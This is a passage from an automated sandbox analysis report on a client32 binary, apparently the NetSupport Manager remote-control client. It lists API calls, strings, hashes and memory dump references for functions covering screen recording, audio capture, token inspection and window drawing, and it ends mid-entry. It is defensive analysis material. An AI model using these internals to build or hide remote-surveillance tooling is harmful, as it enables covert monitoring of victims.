Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Object$PropRemove$PaintRectSelect$BeginBrushClientCreateDeleteDrawFillLongSolidStockTextWindow
String ID: NSMBmpClass WM_PAINT rcClt L=%d, T=%d, R=%d, B=%d, W=%d, H=%d$NSMBmpClass WM_PAINT rcNew L=%d, T=%d, R=%d, B=%d, W=%d, H=%d$e:\nsmsrc\nsm\1201\1201f2\ctl32\wndclass.h$m_hWnd$picholder w=%d, h=%d
API String ID: 3417689559-267201724
Opcode ID: 0f0fde7be0d9a163d168c234d32f8707ec11b46134b45822327dab59a907cea7
Instruction ID: 4dbc0ed789370292590261d06177d4a80673600d05af41177adcb8a0809f0c2d
Opcode Fuzzy Hash: 0f0fde7be0d9a163d168c234d32f8707ec11b46134b45822327dab59a907cea7
Instruction Fuzzy Hash: 03611BB6E00619AFCB04CFA8CD84DEEF7B9FB88714F108559E915A7244EB74AD04CB61

Function 1101B3E0 Relevance: 31.7, APIs: 16, Strings: 2, Instructions: 173filelibrarycomCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000001,00000000), ref: 1101B3FE
CloseHandle.KERNEL32(00000000), ref: 1101B42E
LoadLibraryA.KERNEL32(PCIImage.dll), ref: 1101B450
CloseHandle.KERNEL32(00000000), ref: 1101B472
GetProcAddress.KERNEL32(00000000,DecompressPNGToBitmap), ref: 1101B489
FreeLibrary.KERNEL32(00000000), ref: 1101B4A1
GetFileSize.KERNEL32(00000000,00000000), ref: 1101B4AA
GlobalAlloc.KERNEL32(00000042,00000000), ref: 1101B4B5
GlobalLock.KERNEL32(00000000), ref: 1101B4BE
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 1101B4CD
GlobalUnlock.KERNEL32(00000000), ref: 1101B4D4
CloseHandle.KERNEL32(00000000), ref: 1101B4DB
CreateStreamOnHGlobal.OLE32(00000000,00000001,?), ref: 1101B4EF
OleLoadPicture.OLEAUT32(00000000,00000000,00000000,111AC60C,-0000001C), ref: 1101B513
DeleteObject.GDI32(00000000), ref: 1101B53B

Strings

PCIImage.dll, xrefs: 1101B44B
DecompressPNGToBitmap, xrefs: 1101B483

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Global$CloseFileHandle$CreateLibraryLoad$AddressAllocDeleteFreeLockObjectPictureProcReadSizeStreamUnlock
String ID: DecompressPNGToBitmap$PCIImage.dll
API String ID: 2291646601-2375843702
Opcode ID: cc2f3a6f886d93ff8ea9a700d807c02b635d1048fb06df1f0aa03edf9b03c29d
Instruction ID: 62cfc7fa3e2055ec9800540563fbb578b27e0b4a6d2d587e1a7a746e2869ae39
Opcode Fuzzy Hash: cc2f3a6f886d93ff8ea9a700d807c02b635d1048fb06df1f0aa03edf9b03c29d
Instruction Fuzzy Hash: F351C076B40214AFE711EBA5DC88F9EBBACEB85724F04C165F906DB284DB74D901C7A0

Function 1112B230 Relevance: 30.1, APIs: 6, Strings: 11, Instructions: 308COMMON

Download Yara Rule

APIs

SystemParametersInfoA.USER32(00000010,00000000,111DC1A0,00000000), ref: 1112B2C2
SystemParametersInfoA.USER32(00000011,00000000,00000000,00000000), ref: 1112B2D5
SHGetFolderPathA.SHFOLDER(00000000,00000010,00000000,00000000,00000000), ref: 1112B46D
GetWindowsDirectoryA.KERNEL32(00000000,00000104), ref: 1112B483
CloseHandle.KERNEL32(00000000), ref: 1112B4CB

Part of subcall function 11059580: __wcstoi64.LIBCMT ref: 110595BD

SystemParametersInfoA.USER32(00000011,00000001,00000000,00000000), ref: 1112B613

Strings

\Desktop, xrefs: 1112B498
ReplayFiles, xrefs: 1112B3C4
UI: Start Show, xrefs: 1112B295
Client, xrefs: 1112B334, 1112B35E, 1112B38F, 1112B3AA, 1112B5F0
ReplayPath, xrefs: 1112B421, 1112B4DA
Show, xrefs: 1112B426
UI: End Show, xrefs: 1112B5A9
ShowToWindow, xrefs: 1112B32F, 1112B359, 1112B38A, 1112B3A5, 1112B5EB
PrefixName, xrefs: 1112B3F4
ShowRecord, xrefs: 1112B3C9, 1112B3E1, 1112B3F9, 1112B4DF, 1112B513
RecordAudio, xrefs: 1112B3DC

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: InfoParametersSystem$CloseDirectoryFolderHandlePathWindows__wcstoi64
String ID: Client$PrefixName$RecordAudio$ReplayFiles$ReplayPath$Show$ShowRecord$ShowToWindow$UI: End Show$UI: Start Show$\Desktop
API String ID: 3054845645-718119679
Opcode ID: 1df17266715f8f6575590b0a9cae3b1e463cd38446d3aa05f64ad84cc8b593d1
Instruction ID: 4a8e56dd47aa2ec122ad2e2a6e1493817fcda6923c0d3750c0c878d0569fa937
Opcode Fuzzy Hash: 1df17266715f8f6575590b0a9cae3b1e463cd38446d3aa05f64ad84cc8b593d1
Instruction Fuzzy Hash: B4B10874B41665BFEB14DB60CD85FDAF761BB44718F608128FE2A6B2C4DB706800CB99

Function 110035B0 Relevance: 27.2, APIs: 18, Instructions: 171COMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000004), ref: 110035F1

Part of subcall function 111319C0: SetBkColor.GDI32(?,00000000), ref: 111319D4
Part of subcall function 111319C0: ExtTextOutA.GDI32(?,00000000,00000000,00000002,?,00000000,00000000,00000000), ref: 111319E9
Part of subcall function 111319C0: SetBkColor.GDI32(?,00000000), ref: 111319F1

CreateSolidBrush.GDI32(00000000), ref: 11003605
GetStockObject.GDI32(00000007), ref: 11003610
SelectObject.GDI32(?,00000000), ref: 1100361B
SelectObject.GDI32(?,?), ref: 1100362C
GetSysColor.USER32(00000010), ref: 1100363C
GetSysColor.USER32(00000010), ref: 11003653
GetSysColor.USER32(00000014), ref: 1100366A
GetSysColor.USER32(00000014), ref: 11003681
GetSysColor.USER32(00000014), ref: 1100369E
GetSysColor.USER32(00000014), ref: 110036B5
GetSysColor.USER32(00000010), ref: 110036CC
GetSysColor.USER32(00000010), ref: 110036E3
InflateRect.USER32(?,000000FE,000000FE), ref: 11003700
Rectangle.GDI32(?,?,00000001,?,?), ref: 1100371A
SelectObject.GDI32(?,?), ref: 1100372E
SelectObject.GDI32(?,?), ref: 11003738
DeleteObject.GDI32(?), ref: 1100373E

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Color$Object$Select$BrushCreateDeleteInflateRectRectangleSolidStockText
String ID:
API String ID: 3698065672-0
Opcode ID: 04c01b13460c93f31d2d2e389f35455b7ffd5bfe07828e99ddf090b4159d3ad7
Instruction ID: 2bc938ab10bd54deed445a78db49907ee5b49920563a61e7829f7d323b0f7c60
Opcode Fuzzy Hash: 04c01b13460c93f31d2d2e389f35455b7ffd5bfe07828e99ddf090b4159d3ad7
Instruction Fuzzy Hash: A7514EB6900609AFD710DFA5CC85EBFF3BCEF98705F104A18EA1297285D670B9058BA1

Function 1108D7B0 Relevance: 26.5, APIs: 14, Strings: 1, Instructions: 225COMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32 ref: 1108D831
GetLastError.KERNEL32 ref: 1108D83B
GetTokenInformation.ADVAPI32(00000000,00000001(TokenIntegrityLevel),00000000,00000000,?), ref: 1108D859
_malloc.LIBCMT ref: 1108D862
GetTokenInformation.ADVAPI32(00000000,00000001(TokenIntegrityLevel),00000000,00000000,?,?,00000000,00000000,00000000), ref: 1108D87C
LookupAccountSidA.ADVAPI32(00000000,00000000,?,?,00000000,?,?), ref: 1108D8CA
GetSidIdentifierAuthority.ADVAPI32(00000000), ref: 1108D8E3
GetSidSubAuthorityCount.ADVAPI32(00000000), ref: 1108D8EA
GetSidSubAuthority.ADVAPI32(00000000,00000000), ref: 1108D8F3
GetTokenInformation.ADVAPI32(00000000,00000002,?,00002000,00000000), ref: 1108D931
_malloc.LIBCMT ref: 1108D956
GetTokenInformation.ADVAPI32(00000000,00000002,00000000,00001000,?), ref: 1108D974
_free.LIBCMT ref: 1108DA92
_free.LIBCMT ref: 1108DAA1

Strings

advapi, xrefs: 1108D99E

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: InformationToken$Authority$_free_malloc$AccountCountErrorIdentifierLastLookup
String ID: advapi
API String ID: 2675550055-46682764
Opcode ID: 8a6bad04d055ccb3fe64c309022b91352f399925ddcc069f7f55c1038f8a2839
Instruction ID: e41896da37f67aad26cc8bb122dbe4d69e903b7b164305b4c007e48cc011dbc7
Opcode Fuzzy Hash: 8a6bad04d055ccb3fe64c309022b91352f399925ddcc069f7f55c1038f8a2839
Instruction Fuzzy Hash: F4813171D042299BEB11CF55CC88BDEB7F8AF49308F5041E9E949A7241E770AE94CFA1

Function 1100B310 Relevance: 26.4, APIs: 7, Strings: 8, Instructions: 190fileCOMMON

Download Yara Rule

APIs

Part of subcall function 11059580: __wcstoi64.LIBCMT ref: 110595BD

_malloc.LIBCMT ref: 1100B366

Part of subcall function 111515D1: __FF_MSGBANNER.LIBCMT ref: 111515EA
Part of subcall function 111515D1: __NMSG_WRITE.LIBCMT ref: 111515F1
Part of subcall function 111515D1: RtlAllocateHeap.NTDLL(00000000,00000001,?,?,?,?,111028FE,?,?,?,?,111343F2,?,?,?), ref: 11151616

Part of subcall function 1100AC40: EnterCriticalSection.KERNEL32(000000FF,82E0FB89,?,00000000,00000000), ref: 1100AC84
Part of subcall function 1100AC40: LoadLibraryA.KERNEL32(Kernel32.dll), ref: 1100ACA2
Part of subcall function 1100AC40: GetProcAddress.KERNEL32(?,CancelIo), ref: 1100ACF7
Part of subcall function 1100AC40: InterlockedExchange.KERNEL32(?,000000FF), ref: 1100AD37
Part of subcall function 1100AC40: CloseHandle.KERNEL32(00000000), ref: 1100AD3E
Part of subcall function 1100AC40: _free.LIBCMT ref: 1100AD53
Part of subcall function 1100AC40: FreeLibrary.KERNEL32(?), ref: 1100AD6B
Part of subcall function 1100AC40: LeaveCriticalSection.KERNEL32(?), ref: 1100AD75

EnterCriticalSection.KERNEL32(1100CA5A,Audio,DisableSounds,00000000,00000000,82E0FB89,?,1100CA4A,00000000,?,1100CA4A,?), ref: 1100B39B
CreateFileA.KERNEL32(\\.\NSAudioFilter,C0000000,00000000,00000000,00000003,40000000,00000000,?,1100CA4A,?), ref: 1100B3B8
_calloc.LIBCMT ref: 1100B3E9
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,1100CA4A,?), ref: 1100B40F
LeaveCriticalSection.KERNEL32(1100CA5A,?,1100CA4A,?), ref: 1100B449
LeaveCriticalSection.KERNEL32(1100CA4A,?,?,1100CA4A,?), ref: 1100B46E

Strings

Error. Vista AddAudioCaptureEventListener ret %s, xrefs: 1100B51C
DisableSounds, xrefs: 1100B342
\\.\NSAudioFilter, xrefs: 1100B3B0
Audio, xrefs: 1100B347
Vista new pAudioCap=%p, xrefs: 1100B4D3
Error. Vista AudioCapture GetInstance ret %s, xrefs: 1100B4C3
InitCaptureSounds NT6, xrefs: 1100B48E
Vista AddAudioCapEvtListener(%p), xrefs: 1100B4F3

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$Leave$CreateEnterLibrary$AddressAllocateCloseEventExchangeFileFreeHandleHeapInterlockedLoadProc__wcstoi64_calloc_free_malloc
String ID: Audio$DisableSounds$Error. Vista AudioCapture GetInstance ret %s$Error. Vista AddAudioCaptureEventListener ret %s$InitCaptureSounds NT6$Vista AddAudioCapEvtListener(%p)$Vista new pAudioCap=%p$\\.\NSAudioFilter
API String ID: 1843377891-2362500394
Opcode ID: 84f6a34c3f9a23e85a815e55c0cb6dc8feb7e1515be3af9a6d3caf5416032c27
Instruction ID: f6a869108093e80182554cf0a38d57943248311c262823834013d1bf8f3ce35d
Opcode Fuzzy Hash: 84f6a34c3f9a23e85a815e55c0cb6dc8feb7e1515be3af9a6d3caf5416032c27
Instruction Fuzzy Hash: 9151F7B5E04A46AFE704CF64DC80B9EFBA8FB45359F10467AE91993240EB31B550CBA1

Function 1112D7A0 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 248windowtimeCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 1112D7BA
GetDC.USER32(?), ref: 1112D7EC
SelectObject.GDI32(00000000,?), ref: 1112D7FC
GetTextExtentPoint32A.GDI32(00000000,?,00000000,00000002), ref: 1112D8A0
SelectObject.GDI32(00000000,000003E8), ref: 1112D9A5
ReleaseDC.USER32(?,00000000), ref: 1112D9CD
SystemParametersInfoA.USER32(00000030,00000000,11182200,00000000), ref: 1112D9DD
SetWindowPos.USER32(00000000,000000FF,-0000000F,-0000000F,-0000000A,-00000009,00000040,?,?,?,000003E8,00000002,TCP Retries), ref: 1112DA2F
GetTextExtentPoint32A.GDI32(00000000,?,00000000,?), ref: 1112D906

Part of subcall function 11027FB0: GetLastError.KERNEL32(?,00000000,?), ref: 11027FCC
Part of subcall function 11027FB0: wsprintfA.USER32 ref: 11028017
Part of subcall function 11027FB0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11028053
Part of subcall function 11027FB0: ExitProcess.KERNEL32 ref: 11028069

SetTimer.USER32(?,00000001,00000000,00000000), ref: 1112DA67

Strings

IsA(), xrefs: 1112D858, 1112D883, 1112D8BE, 1112D8E9
e:\nsmsrc\nsm\1201\1201f2\ctl32\wndclass.h, xrefs: 1112D7D6, 1112D9B6, 1112DA05, 1112DA49
e:\nsmsrc\nsm\1201\1201f2\ctl32\NSMString.h, xrefs: 1112D853, 1112D87E, 1112D8B9, 1112D8E4
m_hWnd, xrefs: 1112D7DB, 1112D9BB, 1112DA0A, 1112DA4E

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ExtentObjectPoint32SelectTextWindow$ErrorExitInfoLastMessageParametersProcessReleaseSystemTimerVisiblewsprintf
String ID: IsA()$e:\nsmsrc\nsm\1201\1201f2\ctl32\NSMString.h$e:\nsmsrc\nsm\1201\1201f2\ctl32\wndclass.h$m_hWnd
API String ID: 1475044039-3129562787
Opcode ID: 2609c171a1903106328200cf008d87556c1b9f029330b9767a5fea5ce1dccd09
Instruction ID: 594014a1ddc5c7ee27caa9ffbdf23d2d6d19d72861e267c9d0e0215120db3a2f
Opcode Fuzzy Hash: 2609c171a1903106328200cf008d87556c1b9f029330b9767a5fea5ce1dccd09
Instruction Fuzzy Hash: EEA17AB9A00606AFCB15CF65D984E9EF7F1BF48314FA08568E959A7781E730B940CF60

Function 110F9620 Relevance: 24.7, APIs: 9, Strings: 5, Instructions: 153COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 110F964E
EnterCriticalSection.KERNEL32(111DBDA4), ref: 110F9657
GetTickCount.KERNEL32 ref: 110F965D
GetTickCount.KERNEL32 ref: 110F96B0
LeaveCriticalSection.KERNEL32(111DBDA4), ref: 110F96B9
GetTickCount.KERNEL32 ref: 110F96EA
LeaveCriticalSection.KERNEL32(111DBDA4), ref: 110F96F3
EnterCriticalSection.KERNEL32(111DBDA4), ref: 110F971C
LeaveCriticalSection.KERNEL32(111DBDA4,00000000,?,00000000), ref: 110F97E3

Part of subcall function 11102870: _malloc.LIBCMT ref: 11102889
Part of subcall function 11102870: wsprintfA.USER32 ref: 111028A4
Part of subcall function 11102870: _memset.LIBCMT ref: 111028C7

Part of subcall function 110E5C50: InitializeCriticalSection.KERNEL32(00000038,00000000,00000000,?,00000000,?,110F9787,?), ref: 110E5C7B

Strings

Warning. simap lock held for %d ms, xrefs: 110F96C9, 110F9703
e:\nsmsrc\nsm\1201\1201f2\client32\platnt.cpp, xrefs: 110F969E, 110F9753, 110F9799
psi, xrefs: 110F96A3, 110F9758, 110F979E
info. new psi(%d) = %x, xrefs: 110F97D1
Warning. took %d ms to get simap lock, xrefs: 110F9669

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$CountTick$Leave$Enter$Initialize_malloc_memsetwsprintf
String ID: Warning. simap lock held for %d ms$Warning. took %d ms to get simap lock$e:\nsmsrc\nsm\1201\1201f2\client32\platnt.cpp$info. new psi(%d) = %x$psi
API String ID: 1574099134-2778890452
Opcode ID: f5f3269683871b0c87e91eafc9f17311406ea81333dff44d105f7e04005244ec
Instruction ID: b4577e42a59a3743beb29bf4ff123ba11c5e9efe7befee2d7f5d2ccaaf1aa78d
Opcode Fuzzy Hash: f5f3269683871b0c87e91eafc9f17311406ea81333dff44d105f7e04005244ec
Instruction Fuzzy Hash: A241D676E013266FDB00DFA5ED85ADEFBA4BB5565CF004535F916E7200F6306904CBA2

Function 110457B0 Relevance: 24.6, APIs: 8, Strings: 6, Instructions: 137processwindowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 11045836
WinExec.KERNEL32(?,00000001), ref: 110458AF
CloseHandle.KERNEL32(?), ref: 110458D1
CloseHandle.KERNEL32(?), ref: 110458DA
IsWindow.USER32(00000000), ref: 110458EC
GetLastError.KERNEL32 ref: 11045917
IsWindow.USER32(00000000), ref: 11045949
PostMessageA.USER32(00000000,00000010,00000000,00000000), ref: 1104595A

Part of subcall function 11133F90: GetModuleFileNameA.KERNEL32(00000000,?,00000104,11182A50), ref: 11133FFD
Part of subcall function 11133F90: SHGetFolderPathA.SHFOLDER(00000000,00000026,00000000,00000000,?,1110291B), ref: 1113403E
Part of subcall function 11133F90: SHGetFolderPathA.SHFOLDER(00000000,0000001A,00000000,00000000,?), ref: 1113409B

Strings

D, xrefs: 11045846
pcivideovi.exe /X, xrefs: 110457FD
ShowVideo, xrefs: 11045841
Failed to load player (%d), xrefs: 1104591E
DoShowVideo - could not find %s window, xrefs: 110458FB
PCIVideoSlave32, xrefs: 110458F6

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CloseFolderHandlePathWindow$ErrorExecFileLastMessageModuleNamePost_memset
String ID: D$DoShowVideo - could not find %s window$Failed to load player (%d)$PCIVideoSlave32$ShowVideo$pcivideovi.exe /X
API String ID: 2703108677-1914331637
Opcode ID: 663dccee32d0e786faae837599a30831d1b500c9d939b8a56e5f3d5aea0eda79
Instruction ID: e696fddc6ff2d01e6b9a77bd21ef717381eee885786c7b130f534b4739ca8f54
Opcode Fuzzy Hash: 663dccee32d0e786faae837599a30831d1b500c9d939b8a56e5f3d5aea0eda79
Instruction Fuzzy Hash: AA410579A002199FDB10DF64DC85FDDF7A8AF45708F5080E4E9099B284EF71AA448F95

Function 1102F5C0 Relevance: 23.0, APIs: 7, Strings: 6, Instructions: 245sleepwindowCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104,82E0FB89), ref: 1102F5FA

Part of subcall function 11059580: __wcstoi64.LIBCMT ref: 110595BD

EnumWindows.USER32(Function_0002E710,00000001), ref: 1102F6D2
